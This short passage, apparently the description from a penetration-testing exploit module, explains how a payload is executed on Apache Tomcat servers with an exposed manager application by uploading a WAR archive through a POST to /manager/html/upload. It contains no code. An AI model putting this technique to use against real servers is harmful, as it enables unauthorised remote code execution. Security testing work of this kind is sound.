        This module can be used to execute a payload on Apache Tomcat servers that
        have an exposed "manager" application. The payload is uploaded as a WAR archive
        containing a jsp application using a POST request against the /manager/html/upload
        component.

        NOTE: The compatible payload sets vary based on the selected target. For
        example, you must select the Windows target to use native Windows payloads.
